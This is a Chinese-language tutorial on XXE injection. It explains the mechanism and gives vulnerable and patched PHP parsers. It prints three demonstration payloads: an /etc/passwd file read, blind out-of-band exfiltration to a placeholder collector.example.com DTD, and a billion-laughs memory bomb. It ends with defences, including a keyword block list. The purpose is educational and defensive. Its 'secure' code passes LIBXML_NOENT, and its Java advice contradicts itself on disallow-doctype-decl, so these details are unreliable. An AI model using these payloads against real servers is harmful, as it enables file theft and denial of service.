<!-- title: xxe -->
XXE 外部实体注入详解:原理、利用与防御
一、漏洞原理
XXE(XML External Entity Injection,XML 外部实体注入)是针对解析 XML 输入的应用的攻击:XML 标准允许在文档内定义"实体"(Entity)来代指一段内容,其中外部实体可以指向一个 URL 或本地文件路径。如果应用让用户提交 XML,且解析器允许加载外部实体,攻击者就能让服务器在解析时自己去读取本地文件或发起网络请求——本质上是"XML 版的文件读取 + SSRF"。
要理解它,先看 XML 的实体机制:<!ENTITY name "value"> 定义后,文档中写 &name; 就会被替换成对应值;当定义写成 <!ENTITY name SYSTEM "file:///etc/passwd"> 时,这个"值"就变成了"解析时去读这个文件"。老版本 PHP 的解析器还支持协议包装,把实体内容再套一层 php://filter 甚至能读出 Base64 编码的源码。
XXE 的危害分四个层次:读取任意文件、发起内网请求(SSRF,可触达云元数据服务)、在大参数场景下造成拒绝服务("十亿笑话"炸弹,通过实体递归展开把几 KB 的 XML 撑成数 GB 内存占用)、以及在少数配置下实现远程代码执行(配合 expect:// 等协议扩展)。
二、示例代码
以下是一个接受 XML 的接口的脆弱写法(虚构站点 example.com):
<?php
// api/parse.php —— 接收用户提交的 XML 并解析
$xml = $_POST['xml'];
$data = simplexml_load_string($xml); // 致命点:默认允许加载外部实体
echo $data->name;
?>修复后的安全写法是显式禁止解析器加载外部实体——一行配置就能根治:
<?php
// 安全版:禁用外部实体加载
$xml = $_POST['xml'];
$internalErrors = libxml_use_internal_errors(true);
$prev = libxml_disable_entity_loader(true); // 关键开关
$data = simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
libxml_disable_entity_loader($prev);
echo htmlspecialchars((string)$data->name, ENT_QUOTES, 'UTF-8');
?>其他语言同理:Java 建议优先换用 JSON;必须解析 XML 时给 DocumentBuilderFactory 关掉 disallow-doctype-decl、external-general-entities 等特性。新版 libxml2(2.9+)已默认不加载外部实体,但显式声明仍是最佳实践。
三、三种典型 Payload(教学演示)
1. 经典文件读取
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>解析结果中 &xxe; 被替换成 /etc/passwd 的内容并随响应回显——一行 DOCTYPE 即完成任意文件读取,这是 XXE 最教科书式的形态。
2. 带外数据渗出(盲 XXE)
当页面不回显解析结果时,把读到的内容"发出去"——利用实体的嵌套,让目标服务器主动请求攻击者的收集器:
<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "https://collector.example.com/evil.dtd">
%dtd;]>evil.dtd 中再定义"把 %file 的内容拼进请求 URL"的实体。数据经过外带通道送出,使盲环境的 XXE 同样可利用——这也是现代 XXE 攻防的主战场。
3. 实体炸弹(十亿笑话,DoS)
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">]>
<user><name>&lol3;</name></user>实体层层引用,指数级展开,几 KB 的报文可耗尽服务器内存。教学上它揭示了"文档可以引用外部资源"这一设计的另一面风险,也是各大解析器默认限制实体展开深度的原因。
四、防御建议
- 禁用外部实体与 DOCTYPE:所有 XML 解析器都应显式关闭外部实体加载(PHP
libxml_disable_entity_loader、Java 关闭各 Factory 的 external 特性),这是根治手段 - 优先不用 XML:接口设计阶段能选 JSON 就不选 XML,攻击面直接归零;必须用 XML 时禁用 DTD(
disallow-doctype-decl=true) - 升级解析库版本:libxml2 2.9+、新版 Jackson/Xerces 默认更安全,老旧运行时是 XXE 的重灾区
- 最小权限运行:应用进程的文件系统与网络权限最小化,即使 XXE 成立也读不到高价值文件、摸不到内网关键服务
- 过滤入站 XML 关键字:对
<!DOCTYPE、<!ENTITY、SYSTEM关键字做拦截可作为辅助层,但不能替代解析器配置(存在编码绕过) - 元数据服务加固:云环境配合"元数据访问需 token"模式,让"XXE → 偷云凭证"这条最危险的链路失效
五、总结
XXE 的本质是**"数据格式的特性"被当成了"攻击者的能力"**:外部实体本是 XML 的合法功能,危险只在于"让不可信数据使用它"。防御的性价比极高——多数语言一行配置即可根治,因此在实际审计中,"发现 XXE"往往等于"发现一个没人认真做过安全配置的解析器"。对学习者来说,XXE 也是打通"文件读取、SSRF、DoS"三类漏洞思维的绝佳枢纽。